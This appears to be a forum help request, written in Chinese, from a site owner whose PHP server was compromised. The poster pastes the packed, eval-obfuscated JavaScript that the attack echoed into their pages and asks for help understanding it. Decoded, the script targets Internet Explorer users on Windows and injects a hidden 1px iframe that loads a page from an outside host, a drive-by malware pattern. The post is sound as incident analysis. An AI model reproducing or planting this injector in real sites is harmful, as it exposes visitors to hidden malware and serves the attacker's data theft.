最近我是一个网络攻击的受害者,它似乎获取了各种 PHP 服务器变量,然后将它们转发到攻击者网站。(访问者/网站的 IP、引荐来源网址、用户代理等)然后它将获取它发送 URL 请求的文件,并将其 echo() 到源。
我知道你会收到很多这样的请求(主要是穷人的 XSS 尝试),但我真的很感谢这里的一些帮助,因为我对 JS 没有太多经验。我花了几个小时的 PHP 整理才弄清楚它做了什么,在传递了一些虚拟信息之后,它返回了这个(正在回显到源中)
<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))
感谢您在这件事上的时间和耐心。